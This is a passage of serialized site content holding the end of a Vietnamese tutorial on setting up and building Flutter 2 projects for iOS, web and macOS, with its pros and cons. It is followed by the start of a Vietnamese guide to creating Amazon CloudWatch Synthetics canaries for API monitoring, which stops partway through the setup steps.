đọc nhé!",[498,9489,9491],{"id":9490},"cấu-hình-flutter2","Cấu hình Flutter2",[11,9493,9494],{},"Trong trường hợp bạn đang làm việc với 1 số dự án Flutter1 và bạn không muốn nâng cấp chúng lên Flutter2, bạn sẽ phải cấu hình đường dẫn cho Flutter như sau, còn nếu không bạn có thể bỏ qua bước này.",[11,9496,9497,9498,9501],{},"Sau khi giải nén thư mục Flutter2 mới tải về, mở ứng dụng ",[20,9499,9500],{},"Terminal"," sau đó gõ vào:",[696,9503,9506],{"className":9504,"code":9505,"language":701},[699],"nano ~\u002F.bash_profile\n",[703,9507,9505],{"__ignoreMap":66},[11,9509,9510,9511,1170],{},"Thêm đường dẫn định danh đến thư mục Flutter vào file ",[1277,9512,9513],{},".bash_profile",[696,9515,9518],{"className":9516,"code":9517,"language":701},[699],"alias flutter2=\u002Fđường\u002Fdẫn\u002Fđến\u002Fflutter2\u002Fbin\u002Fflutter\n",[703,9519,9517],{"__ignoreMap":66},[11,9521,9522,9523],{}," Tải lại file ",[1277,9524,9513],{},[696,9526,9529],{"className":9527,"code":9528,"language":701},[699],"source ~\u002F.bash_profile\n",[703,9530,9528],{"__ignoreMap":66},[11,9532,9533,9534,9537],{},"Bây giờ khi bạn chạy lệnh ",[1277,9535,9536],{},"flutter2"," bạn sẽ chỉ làm việc với Flutter2. Để chắc chắn bạn nên kiểm tra phiên bản Flutter2 trước.",[696,9539,9542],{"className":9540,"code":9541,"language":701},[699],"flutter2 --version\n",[703,9543,9541],{"__ignoreMap":66},[11,9545,9546],{},"Bạn sẽ thấy kết quả đại loại như sau:",[696,9548,9551],{"className":9549,"code":9550,"language":701},[699],"Flutter 2.0.1 • channel stable • https:\u002F\u002Fgithub.com\u002Fflutter\u002Fflutter.git\nFramework • revision c5a4b4029c (2 weeks ago) • 2021-03-04 09:47:48 -0800\nEngine • revision 40441def69\nTools • Dart 2.12.0\n",[703,9552,9550],{"__ignoreMap":66},[11,9554,9555],{},"Nâng cấp phiên bản nếu bạn thấy cần thiết:",[696,9557,9560],{"className":9558,"code":9559,"language":701},[699],"flutter2 upgrade\n",[703,9561,9559],{"__ignoreMap":66},[498,9563,9565],{"id":9564},"tạo-1-dự-án-mới-và-cấu-hình-với-visual-studio-code-vscode","Tạo 1 dự án mới và cấu hình với Visual Studio Code (VSCode)",[11,9567,9568,9569,9571,9572],{},"Mở ứng dụng ",[20,9570,9500],{},", tạo 1 dự án mới tên là ",[20,9573,9574],{},"sample_flutter2.",[696,9576,9579],{"className":9577,"code":9578,"language":701},[699],"flutter2 create sample_flutter2\n",[703,9580,9578],{"__ignoreMap":66},[11,9582,9583,9584,9587,9588,9591],{},"Mở dự án với VSCode, sau đó thêm đường dẫn tới thư mục flutter bằng cách tạo 1 file ",[1277,9585,9586],{},"settings.json"," trong thư mục ",[1277,9589,9590],{},".vs_code\u002F"," sau đó dán đoạn mã sau vào:",[696,9593,9596],{"className":9594,"code":9595,"language":701},[699],"{\n\"dart.flutterSdkPath\": \"đường\u002Fdẫn\u002Fđến\u002Fflutter2\"\n}\n",[703,9597,9595],{"__ignoreMap":66},[498,9599,9601],{"id":9600},"chạy-trên-ios","Chạy trên iOS",[11,9603,9604,9605,9608,9609,756],{},"Trong ",[20,9606,9607],{},"VSCode",", chọn thiết bị chạy iPhone(ở đây chúng ta chọn iPhone simulator ",[20,9610,9611],{},"iPhone12 Pro Max",[533,9613],{"className":9614,"alt":66,"src":9615,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29104853\u002Fselect_iphone.png",[11,9617,9618],{},"Sau đó chạy thôi nào, thật dễ dàng phải không?",[533,9620],{"className":9621,"alt":66,"src":9622,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29104929\u002Frun_in_iphone.png",[1800,9624,9626],{"id":9625},"xuất-file-ipa","Xuất file .ipa",[696,9628,9631],{"className":9629,"code":9630,"language":701},[699],"flutter2 build ipa --profile\n",[703,9632,9630],{"__ignoreMap":66},[11,9634,9635,9636,9639],{},"Lệnh trên sẽ xuất ra 1 file ",[20,9637,9638],{},"Runner.xcarchive"," tại thư mục build\u002Fios\u002Farchive, hãy click vào nó, Xcode sẽ tự động được mở và bạn có thể kết xuất ra file .ipa như với 1 app iOS thông thường",[533,9641],{"className":9642,"alt":66,"src":9643,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29131227\u002FScreen-Shot-2021-03-29-at-13.12.14-1024x199.png",[11,9645,9646,9647,9650,9651,9654],{},"Chú ý: bên cạnh cờ ",[1277,9648,9649],{},"--profile"," bạn cũng có thể sử dụng cờ ",[1277,9652,9653],{},"--release"," cho chế độ release(Flutter có 3 chế độ build: debug, profile và release)",[498,9656,9658],{"id":9657},"chạy-trên-web","Chạy trên Web",[11,9660,9661,9662,9664,9665,9668],{},"Trong ",[20,9663,9607],{},", chọn ",[20,9666,9667],{},"Chrome"," làm thiết bị chạy",[533,9670],{"className":9671,"alt":66,"src":9672,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29105750\u002Fselect_device.png",[11,9674,9675],{},"Và bạn sẽ thấy chính xác những gì bạn thấy trên phiên bản iOS",[533,9677],{"className":9678,"alt":66,"src":9679,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29124734\u002Fchrome_result-1024x960.png",[1800,9681,9683],{"id":9682},"xuất-ra-html","Xuất ra html",[696,9685,9688],{"className":9686,"code":9687,"language":701},[699],"flutter2 build web --web-renderer html --profile\n",[703,9689,9687],{"__ignoreMap":66},[11,9691,9692,9694,9695,9698,9699,756],{},[1277,9693,9649],{},": chế độ build(",[1277,9696,9697],{},"profile"," hay ",[1277,9700,9701],{},"release",[11,9703,9704,9707],{},[1277,9705,9706],{},"--web-renderer html",": chế độ render, có 3 lựa chọn:",[31,9709,9710,9716,9722],{},[34,9711,9712,9715],{},[1277,9713,9714],{},"auto",": Khi ứng dụng chạy trên trình duyệt di động, nó sẽ sử dụng cơ chế render HTML. Khi ứng dụng chạy trên trình duyệt máy tính, nó sẽ sử dụng cơ chế render CanvasKit.",[34,9717,9718,9721],{},[1277,9719,9720],{},"html",": ứng dụng luôn sử dụng cơ chế render HTML.",[34,9723,9724,9727],{},[1277,9725,9726],{},"canvaskit",": ứng dụng luôn sử dụng cơ chế render CanvasKit.",[11,9729,9730,9731,9734,9735,9738],{},"Lệnh trên sẽ xuất ra các file .html, .css, .js tại thư mục ",[1277,9732,9733],{},"\u002Fbuild\u002Fweb\u002F",". Nếu bạn chạy trực tiếp file ",[1277,9736,9737],{},".\u002Fbuild\u002Fweb\u002Findex.html,"," bạn có thể gặp phải lỗi sau:",[696,9740,9743],{"className":9741,"code":9742,"language":701},[699],"Access to internal resource at 'file:\u002F\u002F\u002Fmanifest.json' from origin 'null' has been blocked by CORS policy: \nCross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, chrome-untrusted, https.\n",[703,9744,9742],{"__ignoreMap":66},[11,9746,9747,9748,9753,9754,9757,9758,9761],{},"Để tránh lỗi trên thì bạn có thể sử dụng 1 phần mở rộng của Chrome tên là ",[58,9749,9752],{"href":9750,"rel":9751},"https:\u002F\u002Fchrome.google.com\u002Fwebstore\u002Fdetail\u002Fweb-server-for-chrome\u002Fofhbbkphhbklhfoeikjpcbhemlocgigb?hl=en)",[62],"Web Server for Chrome"," để giả lập 1 local server trong folder ",[1277,9755,9756],{},".\u002Fbuild\u002Fweb\u002F"," và sau đó bạn hãy chạy thử lại file ",[1277,9759,9760],{},"index.html"," 1 lần nữa.",[498,9763,9765],{"id":9764},"chạy-trên-hệ-điều-hành-mac","Chạy trên hệ điều hành Mac",[11,9767,9768],{},"Bạn cần kích hoạt chế độ phát triển cho hệ điều hành trước",[31,9770,9771],{},[34,9772,9773,9774],{},"Dành cho hệ điều hành ",[20,9775,9776],{},"Mac",[696,9778,9781],{"className":9779,"code":9780,"language":701},[699],"flutter2 config --enable-macos-desktop\n",[703,9782,9780],{"__ignoreMap":66},[31,9784,9785],{},[34,9786,9773,9787],{},[20,9788,9789],{},"Windows",[696,9791,9794],{"className":9792,"code":9793,"language":701},[699],"flutter2 config --enable-windows-desktop\n",[703,9795,9793],{"__ignoreMap":66},[31,9797,9798],{},[34,9799,9773,9800],{},[20,9801,9802],{},"Linux",[696,9804,9807],{"className":9805,"code":9806,"language":701},[699],"flutter2 config --enable-linux-desktop\n",[703,9808,9806],{"__ignoreMap":66},[11,9810,9811],{},"Sau đó thêm hỗ trợ cho hệ điều hành vào dự án",[696,9813,9816],{"className":9814,"code":9815,"language":701},[699],"flutter2 create --platforms=windows,macos,linux .\n",[703,9817,9815],{"__ignoreMap":66},[11,9819,9820],{},"Bạn có thể chọn bất kỳ hệ điều hành nào mà bạn muốn (windows\u002Fmacos\u002Flinux).",[11,9822,9823],{},"Chọn thiết bị chạy là macOS trên VSCode",[533,9825],{"className":9826,"alt":66,"src":9827,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29140531\u002Fselect_desktop.png",[11,9829,9830],{},"Sau đó chạy thôi!!",[533,9832],{"className":9833,"alt":66,"src":9834,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29140649\u002Fdesktop_version-1024x738.png",[1800,9836,9838],{"id":9837},"xuất-file-app","Xuất file .app",[696,9840,9843],{"className":9841,"code":9842,"language":701},[699],"flutter2 build macos --profile\n",[703,9844,9842],{"__ignoreMap":66},[11,9846,9847,9848,9851,9852,9855,9856,9858],{},"Lệnh trên sẽ xuất ra file ",[1277,9849,9850],{},"sample_flutter2.app"," tại thư mục ",[1277,9853,9854],{},"\u002Fbuild\u002Fmacos\u002FBuild\u002FProducts\u002FProfile"," với chế độ build là profile(bạn có thể chọn cờ ",[1277,9857,9653],{}," nếu bạn muốn)",[498,9860,9862],{"id":9861},"ưu-điểm-của-flutter","Ưu điểm của Flutter",[31,9864,9865,9868,9871,9880,9887,9890,9893],{},[34,9866,9867],{},"Hiển nhiên, thế mạnh nhất của Flutter là hỗ trợ đa nền tảng, đây là 1 lựa chọn khởi đầu tốt cho các công ty start-up. Chúng ta có thể xây dựng từ nền tảng iOS hay Android trước và sau đó sử dụng code lại cho  bản Web sau này, điều này sẽ giúp cắt giảm công số cho việc xây dựng lại hoàn toàn từ đầu khi bắt đầu xây dựng 1 nền tảng mới.",[34,9869,9870],{},"UI và logic của ứng dụng không thay đổi dù cho ở nền tảng nào.",[34,9872,9873,9874,9879],{},"Flutter đang phát triển rất nhanh với rất nhiều thư viện được phát triển bởi bên thứ 3 tại  ",[58,9875,9878],{"href":9876,"rel":9877},"https:\u002F\u002Fpub.dev\u002F",[62],"pub.dev"," .",[34,9881,9882,9883,9886],{},"Tính năng ",[20,9884,9885],{},"Hot reload"," vô cùng dễ dàng trên VSCode và Android Studio, nếu so sánh với các ngôn ngữ như Swift, Kotlin thì việc phát triển sẽ tiết kiệm được 1 mớ thời gian cho việc debug, từ đó sẽ giảm thiểu công số cho giai đoạn phát triển.",[34,9888,9889],{},"Flutter cung cấp rất nhiều Widget và có thể điều chỉnh được, giúp tiết kiệm được thời gian cho việc xây dựng giao diện.",[34,9891,9892],{},"Dart là 1 ngôn ngữ đơn giản và dể học, rất nhiều người với rất ít kiến thức lập trình cũng có thể phát triển được các bản thử và ứng dụng.",[34,9894,9895,9896,9901,9902],{},"Tài liệu Flutter cũng được đánh giá cao, từ các ",[58,9897,9900],{"href":9898,"rel":9899},"https:\u002F\u002Fwww.youtube.com\u002Fplaylist?list=PLOU2XLYxmsIL0pH0zWe_ZOHgGhZ7UasUE",[62],"hướng dẫn UI"," ngắn nhưng dễ hiểu tới các ",[58,9903,9906],{"href":9904,"rel":9905},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Fui\u002Flayout\u002Fconstraints",[62],"tài liệu chi tiết",[498,9908,9910],{"id":9909},"nhược-điểm-của-flutter","Nhược điểm của Flutter",[31,9912,9913,9916,9919,9922],{},[34,9914,9915],{},"Trên hết Dart vẫn chưa phải là 1 ngôn ngữ phổ biến nếu so sánh với Kotlin, Swift, vì vậy bạn cần phải học 1 ngôn ngữ mới và các khái niệm mới (Bloc, Widget,..) nếu bạn muốn sử dụng Flutter.",[34,9917,9918],{},"Bạn vẫn cần 1 kiến thức nền tảng nhất định về các ngôn ngữ gốc (Swift, Kotlin) để giải quyết các vấn đề xảy ra trên 1 nền tảng nhất định, 1 phiên bản hệ điều hành hay thậm chí là ở trên 1 dòng máy nhất định điều mà rất hay phổ biến ở Android.",[34,9920,9921],{},"Không phải tất cả thư viện thứ 3 đều hỗ trợ tất cả các nền tảng mà bạn mong muốn, hầu hết chúng chỉ hỗ trợ đa số là iOS và Android (đôi khi chỉ là 1 trong 2).",[34,9923,9924],{},"Khi phát triển, việc xuất hiện của màn hình lỗi đỏ khi có 1 lỗi layout (hay những xử lý ở lớp thấp hơn) sẽ khá khó hiểu.",[533,9926],{"className":9927,"alt":66,"src":9928,"style":9929},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F29142020\u002Ferror.png","width: 20%;",[31,9931,9932,9941],{},[34,9933,9934,9935,9940],{},"Hiện tại thì vẫn còn nhiều vấn đề liên quan đến xử lý hiệu ứng hình ảnh(",[58,9936,9939],{"href":9937,"rel":9938},"https:\u002F\u002Fgithub.com\u002Fflutter\u002Fflutter\u002Fissues\u002F61450",[62],"ví dụ","), vì thế cần cân nhắc khi bạn muốn xây dựng 1 ứng dụng với các xử lý hiệu ứng hình ảnh phức tạp.",[34,9942,9943,9944,9949],{},"Framework Flutter về căn bản thì chủ yếu hướng tới việc xây dựng các ứng dụng cho di động vì thế với các nền tảng như web hay hệ điều hành thì chắc chắn sẽ có sự khác nhau về UX, UI, vì thế bạn không thể mang tất cả (xử lý logic, UI, UX) vào tất cả các nền tảng trong cùng 1 source code. Tuy nhiên cũng có 1 giải pháp cho điều này là bạn có thể tạo ra những Widget, xử lý logic chung chứa trong 1 hay nhiều package (",[58,9945,9948],{"href":9946,"rel":9947},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Fpackages-and-plugins\u002Fdeveloping-packages",[62],"cách tạo package","), sau đó hãy tạo từng dự án riêng biệt cho từng nền tảng và sử dụng các package trên giống như cách bạn sử dụng thư viện bên thứ 3. Có thể đây không phải là 1 giải pháp tốt nhất nhưng ít ra thì bạn vẫn có thể chia sẻ những điểm chung ở tất cả các nền tảng.",[498,9951,9953],{"id":9952},"lời-kết","Lời kết",[11,9955,9956],{},"So với những rủi ro thì Flutter vẫn có nhiều ưu điểm cho kinh doanh và đội ngũ phát triển hơn. Đây là 1 lựa chọn rất tuyệt để xây dựng các ứng dụng với giao diện đẹp, hiệu suất cao, đáp ứng hết các yêu cầu của khách hàng của bạn. Đặc biệt nếu bạn mong muốn 1 ứng dụng mobile iOS, Android thì chắc chắn rất đáng để thử đấy.",[11,9958,9959],{},"Flutter 2  đã chính thức ra mắt rồi, hãy thử sử dụng nào, chúng tôi tin bạn sẽ không hối tiếc về sự lựa chọn này đâu!",[498,9961,5654],{"id":1802},[31,9963,9964,9969,9974,9980,9986,9992,9997],{},[34,9965,9966],{},[58,9967,9437],{"href":9437,"rel":9968},[62],[34,9970,9971],{},[58,9972,9425],{"href":9425,"rel":9973},[62],[34,9975,9976],{},[58,9977,9978],{"href":9978,"rel":9979},"https:\u002F\u002Fmedium.com\u002Fcoding-with-flutter\u002Fwhats-great-about-flutter-c1b4e44c69ac",[62],[34,9981,9982],{},[58,9983,9984],{"href":9984,"rel":9985},"https:\u002F\u002Fwww.thedroidsonroids.com\u002Fblog\u002Fflutter-in-mobile-app-development-pros-and-cons-for-app-owners",[62],[34,9987,9988],{},[58,9989,9990],{"href":9990,"rel":9991},"https:\u002F\u002Fflutter.dev",[62],[34,9993,9994],{},[58,9995,9876],{"href":9876,"rel":9996},[62],[34,9998,9999],{},[58,10000,9898],{"href":9898,"rel":10001},[62],{"title":66,"searchDepth":67,"depth":67,"links":10003},[10004,10005,10006,10007,10008,10009,10010,10011,10012],{"id":9490,"depth":67,"text":9491},{"id":9564,"depth":67,"text":9565},{"id":9600,"depth":67,"text":9601},{"id":9657,"depth":67,"text":9658},{"id":9764,"depth":67,"text":9765},{"id":9861,"depth":67,"text":9862},{"id":9909,"depth":67,"text":9910},{"id":9952,"depth":67,"text":9953},{"id":1802,"depth":67,"text":5654},[1430,1429],"2021-04-22","Vào ngày 4\u002F3\u002F2021 Flutter2 đã được công bố với các tính năng mới như sau: Hỗ trợ  cho web và desktop(ứng dụng trên hệ điều hành) đã ở trên kênh stable(trước đây chúng ở trên kênh beta), điều này có nghĩa là bạn có thể chính thức mang ứng dụng của mình chạy trên Web, hệ điều hành Mac và Windows.",{},"\u002Fvi\u002Fnews\u002Fflutter2",{"title":9417,"description":10015},"vi\u002Fnews\u002Fflutter2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F06103446\u002Fflutter2.png","Yb3edSzV-mq-7aNxI5qFwp_BYzCC8bVwnwCoy-FjqYM",{"id":10023,"title":10024,"body":10025,"category":1430,"created by":70,"date":10501,"description":10502,"extension":72,"meta":10503,"navigation":74,"path":10504,"sections":76,"seo":10505,"stem":10506,"thumbnail":10507,"__hash__":10508},"content_vi\u002Fvi\u002Fnews\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries.md","GIÁM SÁT API SỬ DỤNG AMAZON CLOUDWATCH SYNTHETICS CANARIES",{"type":8,"value":10026,"toc":10490},[10027,10031,10037,10040,10044,10047,10050,10053,10057,10066,10079,10083,10088,10092,10095,10102,10109,10116,10119,10124,10133,10137,10142,10145,10150,10153,10158,10161,10178,10183,10186,10191,10194,10199,10202,10207,10212,10216,10222,10226,10236,10240,10250,10254,10264,10268,10279,10282,10292,10296,10305,10309,10318,10322,10332,10336,10342,10346,10350,10357,10367,10371,10376,10380,10385,10389,10394,10398,10402,10405,10409,10415,10419,10426,10430,10441,10445,10454,10460,10466,10470,10473,10477,10484],[498,10028,10029],{"id":5417},[20,10030,5418],{},[657,10032,10034],{"id":10033},"aws-cloudwatch",[20,10035,10036],{},"AWS CloudWatch",[11,10038,10039],{},"Là một dịch vụ giúp giám sát, tổng hợp, phân tích dữ liệu, nguồn tài nguyên chạy trên AWS. Dịch vụ này giúp cung cấp thông tin thực tiễn một cách real-time, cho phép giám sát các vùng nhớ của ứng dụng, cơ sở hạ tầng và dịch vụ ví dụ như Ram, Disk,... và sử dụng cảnh báo; hỗ trợ việc tối ưu hóa hiệu suất ứng dụng, quản lý sử dụng tài nguyên và hiểu rõ tình trạng hoạt động của toàn hệ thống, các tài nguyên của AWS cũng như các ứng dụng của khách hàng chạy trên cơ cở hạ tầng của Amazon.",[657,10041,10043],{"id":10042},"aws-canary","AWS Canary",[11,10045,10046],{},"Được tạo từ Amazon CloudWatch Synthetics nhằm mục đích giám sát các điểm cuối và API của bạn. Canaries là tập lệnh có thể lập trình đi theo một lộ trình và thực hiện các hành động giống như khách hàng, điều này giúp bạn có thể liên tục xác minh trải nghiệm khách hàng của mình ngay cả khi bạn không có bất kỳ lưu lượng khách hàng nào trên ứng dụng của mình. Bằng cách sử dụng canaries, bạn có thể phát hiện ra các vấn đề trước khi khách hàng của mình phát hiện ra. Canaries có thể được thiết lập để chạy theo một lịch trình đã định.",[11,10048,10049],{},"Canaries là tập lệnh được viết bằng Node.js hoặc Python. Canaries hoạt động trên cả giao thức HTTP và HTTPS.",[11,10051,10052],{},"Canaries kiểm tra tính khả dụng và độ trễ của các điểm cuối của bạn, đồng thời có thể lưu trữ dữ liệu thời gian tải và ảnh chụp màn hình của giao diện người dùng. Chúng giám sát các API REST, URL và nội dung trang web của bạn và có thể kiểm tra các thay đổi trái phép từ lừa đảo, chèn mã và tập lệnh cross-site.",[498,10054,10056],{"id":10055},"các-bước-tạo-một-canary","Các bước tạo một Canary",[11,10058,10059,10061,10062],{},[20,10060,526],{},": Mở CloudWatch console tại ",[58,10063,10064],{"href":10064,"rel":10065},"https:\u002F\u002Fconsole.aws.amazon.com\u002Fcloudwatch\u002F",[62],[11,10067,10068,10071,10072,10075,10076],{},[20,10069,10070],{},"Bước 2:"," Trong navigation pane, chọn ",[20,10073,10074],{},"Application monitoring -> Synthetics Canaries."," Sau đó chọn ",[20,10077,10078],{},"Create Canary.",[533,10080],{"className":10081,"alt":66,"src":10082,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21142022\u002Fcreate-canary-1-1.png",[11,10084,10085,64],{},[20,10086,10087],{},"Bước 3:",[533,10089],{"className":10090,"alt":66,"src":10091,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21141000\u002Fcreate-canary-2.png",[11,10093,10094],{},"Chọn một trong các cách sau:",[11,10096,10097,10098,10101],{},"1. Chọn \"",[20,10099,10100],{},"Use a blueprint","\": Sử dụng template script có sẵn",[11,10103,10104,10105,10108],{},"2. Chọn \"I",[20,10106,10107],{},"nline Editor","\": Để tải lên Node.js script của riêng bạn nhằm tạo một tùy chỉnh canary",[11,10110,10111,10112,10115],{},"3. Chọn \"I",[20,10113,10114],{},"mport from S3","\": Để import script của bạn từ S3 bucket",[11,10117,10118],{},"Lưu ý: Với cách này bạn phải có quyền s3:GetObject và s3:GetObjectVersion đối với S3 bucket mà bạn sử dụng.",[11,10120,10121],{},[20,10122,10123],{},"Trong bài viết này mình sẽ sử dụng chọn \"Use a blueprint\"",[11,10125,10126,10129,10130,10132],{},[20,10127,10128],{},"Bước 4:","  Sau khi chọn \"",[20,10131,10100],{},"\" bạn sẽ thấy các template script có sẵn như bên dưới:",[533,10134],{"className":10135,"alt":66,"src":10136,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21143125\u002Fcreate-canary-3.png",[11,10138,10139],{},[20,10140,10141],{},"Heartbeat monitoring:",[11,10143,10144],{},"Tập lệnh Heartbeat tải URL đã chỉ định và lưu trữ ảnh chụp màn hình của trang cũng như tệp lưu trữ HTTP (tệp HAR). Họ cũng lưu trữ nhật ký của các URL được truy cập. Bạn có thể sử dụng các tệp HAR để xem dữ liệu hiệu suất chi tiết về các trang web. Bạn có thể phân tích danh sách các yêu cầu web và nắm bắt các vấn đề về hiệu suất chẳng hạn như thời gian tải một mục.",[11,10146,10147],{},[20,10148,10149],{},"API canary:",[11,10151,10152],{},"Có thể kiểm tra các chức năng đọc và viết cơ bản của API REST. Có thể hoạt động với bất kỳ API nào và kiểm tra tất cả các loại chức năng. Mỗi canary có thể thực hiện nhiều lệnh gọi API.",[11,10154,10155],{},[20,10156,10157],{},"Broken Link Checker:",[11,10159,10160],{},"Thu thập tất cả các liên kết bên trong URL mà bạn đang kiểm tra. Phát hiện các loại lỗi liên kết sau:",[31,10162,10163,10166,10169,10172,10175],{},[34,10164,10165],{},"404 Page Not Found, Bad URL -  Tên máy chủ không hợp lệ",[34,10167,10168],{},"Mã phản hồi HTTP không hợp lệ.",[34,10170,10171],{},"HTTP requests liên tục timeout trong quá trình chạy canary",[34,10173,10174],{},"Máy chủ liên tục ngắt kết nối do bị định cấu hình sai hoặc quá bận",[34,10176,10177],{},"Máy chủ lưu trữ trả về các phản hồi trống không có nội dung và không có mã phản hồi",[11,10179,10180],{},[20,10181,10182],{},"Canary Recorder:",[11,10184,10185],{},"Với kế hoạch chi tiết của trình ghi canary, bạn có thể sử dụng trình ghi tổng hợp CloudWatch để ghi lại hành động nhấp chuột và nhập của mình trên một trang web và tự động tạo tập lệnh Node.js có thể được sử dụng để tạo một canary theo các bước tương tự. Trình ghi tổng hợp CloudWatch là tiện ích mở rộng của Google Chrome do Amazon cung cấp.",[11,10187,10188],{},[20,10189,10190],{},"GUI workflow builder:",[11,10192,10193],{},"Bản thiết kế GUI workflow builder xác minh rằng các hành động có thể được thực hiện trên trang web của bạn.",[11,10195,10196],{},[20,10197,10198],{},"Visual monitoring:",[11,10200,10201],{},"Kế hoạch chi tiết giám sát trực quan bao gồm mã để so sánh ảnh chụp màn hình được chụp trong quá trình chạy canary với ảnh chụp màn hình được chụp trong quá trình chạy canary cơ bản. Nếu sự khác biệt giữa hai ảnh chụp màn hình vượt quá tỷ lệ phần trăm ngưỡng, canary sẽ thất bại.",[11,10203,10204],{},[20,10205,10206],{},"Trong bài viết này mình sẽ sử dụng chọn \"API canary\"",[11,10208,10209,10211],{},[20,10210,1271],{}," Đặt tên cho canary của bạn, ở đây mình đặt tên là canary-api.",[533,10213],{"className":10214,"alt":66,"src":10215,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21150801\u002Fcreate-canary-5-1024x226.png",[11,10217,10218,10221],{},[20,10219,10220],{},"Bước 6:"," Thêm API HTTP request.",[533,10223],{"className":10224,"alt":66,"src":10225,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21151619\u002Fcreate-canary-6-1024x485.png",[11,10227,10228,10229,10232,10233],{},"API HTTP request details này bao gồm: Method, endpoint URL, Request Data, and Headers. Sau khi điền xong các thông tin này thì sẽ đặt tên ở ",[20,10230,10231],{},"Step name"," và nhấn ",[20,10234,10235],{},"Save.",[533,10237],{"className":10238,"alt":66,"src":10239,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21152636\u002Fcreate-canary-6.5-1024x408.png",[11,10241,10242,10245,10246,10249],{},[20,10243,10244],{},"Bước 7:"," Nếu bạn đang sử dụng environment variables trong tập lệnh của mình, hãy chọn ",[20,10247,10248],{},"Environment variables"," rồi chỉ định giá trị cho từng environment variables được xác định trong tập lệnh của bạn.",[533,10251],{"className":10252,"alt":66,"src":10253,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21153239\u002Fcreate-canary-7-1024x329.png",[11,10255,10256,10259,10260,10263],{},[20,10257,10258],{},"Bước 8:"," Tại ",[20,10261,10262],{},"Schedule"," bạn có thể chọn tần suất cho canary chạy, có 3 lựa chọn sau:",[533,10265],{"className":10266,"alt":66,"src":10267,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21154412\u002Fcreate-canary-8-1024x429.png",[31,10269,10270,10273,10276],{},[34,10271,10272],{},"Run continuously: chạy thường xuyên",[34,10274,10275],{},"CRON expression: chạy dựa vào biểu thức CRON",[34,10277,10278],{},"Run once: chạy một lần",[11,10280,10281],{},"Tiếp theo bạn chọn thời gian chạy cho mỗi canary. Ở đây mình chọn Run continuously và 20 phút chạy một lần.",[11,10283,10284,10287,10288,10291],{},[20,10285,10286],{},"Bước 9:"," Tại ",[20,10289,10290],{},"Data retention"," bạn có thể cài đặt thời gian lưu trữ lại dữ liệu canary của mình. Mặc định là 31 ngày.",[533,10293],{"className":10294,"alt":66,"src":10295,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21163353\u002Fcreate-canary-9-1024x306.png",[11,10297,10298,10287,10301,10304],{},[20,10299,10300],{},"Bước 10:",[20,10302,10303],{},"Data Storage"," phần này là nơi lưu trữ kết quả của mỗi lần chạy canary. Ở s3 location mặc định  sẽ được điền sẵn khi bạn tạo một canary hoặc bạn có thể chọn S3 có sẵn để thay đổi.",[533,10306],{"className":10307,"alt":66,"src":10308,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21164141\u002Fcreate-canary-10-1024x414.png",[11,10310,10311,10287,10314,10317],{},[20,10312,10313],{},"Bước 11:",[20,10315,10316],{},"Access permissions"," bạn có thể chọn role có sẵn hoặc tạo một role mới tự động bởi Synthetics để thực thi canary.",[533,10319],{"className":10320,"alt":66,"src":10321,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21165837\u002Fcreate-canary-11-1024x272.png",[11,10323,10324,10327,10328,10331],{},[20,10325,10326],{},"Bước 12:"," Để các tham số còn lại ở mặc định và nhấp vào 